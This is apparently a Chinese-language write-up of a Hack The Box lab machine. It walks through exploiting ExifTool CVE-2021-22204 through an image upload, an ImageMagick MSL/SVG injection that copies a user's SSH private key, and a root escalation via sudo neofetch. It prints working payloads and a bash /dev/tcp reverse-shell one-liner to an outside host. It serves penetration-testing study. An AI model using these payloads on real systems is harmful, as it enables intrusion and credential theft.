0x01 前言#
靶機 ip:10.10.11.140。
本機 ip:10.10.16.6,mac m1。
0x02 信息收集#
端口掃描只開放了 22、80 端口。
訪問 10.10.11.140 的 80 端口,直接跳轉到http://artcorp.htb/,但此時無法訪問,設置 hosts 看看,設置完之後訪問。
gobuster vhost -u artcorp.htb -w /Users/grayash/pentesting/web-basic/p12-字典收集/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
訪問 metaview,有一個文件上傳點。
隨意上傳一張圖片試試。
通過簡單的信息搜集,發現上述圖片是 exiftools 解析後的內容。
0x03 漏洞利用#
這個地方可以 rce,cve 編號是 CVE-2021-22204。
exp:
Github Repo not found
The embedded github repo could not be found…
由於 mac 上這個漏洞復現不好安裝復現需要的 exiftool 工具,所以切換到 kali 上操作。
kali 的 ip 是:10.10.14.14。
exp 中的 ip 設置成 kali 的 ip。
運行 exp 文件,生成 image.jpg。
kali 上開啟監聽。
nc -nlvp 9090
訪問http://dev01.artcorp.htb/metaview/,然後上傳上面生成的 image.jpg,成功反彈會 shell。
交互式終端設置。
python3 -c "import pty;pty.spawn('/bin/bash')"
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
xterm
0x04 提權#
當前權限 www-data,無權限查看 user.txt 文件。
find / -perm -4000 -type f 2>/dev/null
pspy64 查看系統上運行的進程,發現一個 sh 腳本 convert_images.sh,看看這個腳本是什麼內容。
內容如下:
mogrify 命令的功能是按規定尺寸製作一個圖像,模糊,裁剪,抖動等。Mogrify 改寫最初的圖像文件然後寫到一個不同的圖像文件。
參考這篇文章:
https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html
<image authenticate='ff" `echo $(cat /home/thomas/.ssh/id_rsa)> /dev/shm/key`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
將這個 ssh 密鑰放到 kali 家目錄下的.ssh 目錄下,文件名為 id_rsa,需要注意 id_rsa 的格式不能有空格且文件的權限為 400。
然後通過 id_rsa 證書 ssh 登錄,獲取 user.txt。
ssh -i id_rsa [email protected]
接下來,提權到 root 權限。
直接 sudo -l 走起,發現其有權限執行下面的命令。
(root) NOPASSWD: /usr/bin/neofetch \"\"
運行 neofetch 命令,效果如下:
通過https://gtfobins.github.io/#neo 這個網站知道,如果該文件運行以 sudo 權限運行,那麼就可以利用 sudo 來進行提權。
再一次查看 sudo -l 的配置文件,有一個環境變量 XDG_CONFIG_HOME,我們可以利用當 neofetch 讀取環境變量的配置文件的時候,在配置文件中寫入反彈 shell 的代碼,當 neofetch 程序執行時,反彈 shell。
具體操作如下:
1、先準備一個反彈 shell 的腳本。
bash -c 'exec bash -i &>/dev/tcp/10.10.14.14/1234 <&1'
2、寫入 /home/thomas/.config/neofetch/config.conf 的頭部。
3、導入環境變量
export XDG_CONFIG_HOME="$HOME/.config"
4、nc 監聽
nc -nlvp 1234
5、執行 neofetch。
sudo -u root /usr/bin/neofetch \"\"
成功反彈回 shell,獲取到 root.txt。
0x05 總結#
1、找了半天的 CVE-2021-22204 的靶機,都沒能找到,有幾個 docker 的還沒搭建起來,剛好學習了如何利用 CVE-2021-22204 漏洞。
2、了解了通過 ImageMagick 進行權限提升。